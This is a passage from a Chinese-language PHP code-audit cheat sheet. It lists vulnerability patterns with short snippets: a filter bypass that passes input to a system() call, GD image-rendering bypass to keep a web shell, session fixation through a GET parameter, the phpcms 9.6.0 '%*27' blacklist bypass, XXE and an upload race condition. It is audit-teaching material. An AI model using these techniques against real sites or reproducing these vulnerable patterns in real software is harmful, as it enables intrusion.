    return preg_replace('/[a-z0-9.]/i', '', "$file");
}
$filename = $_GET['file'];
$file = waf($filename);
echo $file;
system('less '.$file);
複製程式碼

處理value沒有處理key

foreach時,addslashes對獲得的value值進行處理,但沒有處理key。

用來目錄遍歷的特別函式

wooyun.webbaozi.com/bug_detail.…

lstat 函式

wooyun.webbaozi.com/bug_detail.… stream_resolve_include_path函式

wooyun.webbaozi.com/bug_detail.…

wooyun.webbaozi.com/bug_detail.…

wooyun.webbaozi.com/bug_detail.…

繞過GD庫圖片渲染

jpg_payload.zip

jpg_name.jpg是待GD處理的圖片

php jpg_payload.php <jpg_name.jpg>
複製程式碼

生成好的圖片,在經過如下程式碼處理後,依然能保留其中的shell:

<?php
    imagecreatefromjpeg('xxxx.jpg');
?>
複製程式碼

會話固定

if(!empty($_GET['phpsessid'])) session_id($_GET['phpsessid']);//通過GET方法傳遞sessionid
複製程式碼

通過get方法來設定session。所以可以通過CSRF:

http://xxxx/index.php?r=admin/index/index&phpsessid=f4cking123

管理員點了我們就能使用此session進後臺了。

黑名單繞過

原理:通過黑名單將敏感字元替換為空,然而只按順序執行一次。可通過故意過濾構造payload.

## %*27
## 經典如phpcms9.6.0注入,過濾後去掉了*,剩下的%27即可使用。
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}
複製程式碼

XXE注入

原理:simplexml_load_file函式的引數過濾不嚴,導致引入外部實體。產生任意檔案讀取。

檔案上傳條件競爭

原理:

後臺邏輯:將上傳的檔案上傳到Web目錄,然後檢查檔案的安全性,如果發現檔案不安全就馬上通過unlink()將其刪除。 利用方法:在上傳完成和安全檢查完成並刪除它的間隙,攻擊者通過不斷地發起訪問請求的方法訪問了該檔案,該檔案就會被執行,並且在伺服器上生成一個惡意shell。這時候shell已經生成,檔案被刪除就無所謂了。

<?php
  if($_FILES["file"]["error"] > 0)){
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
    //check file
    unlink("upload/"._FILES["file"]["name"]));
 }
?>
複製程式碼

資料

github.com/bowu678/php…

github.com/jiangsir404…

read.douban.com/reader/eboo…

github.com/SecWiki/CMS…

github.com/CHYbeta/Cod…

相關文章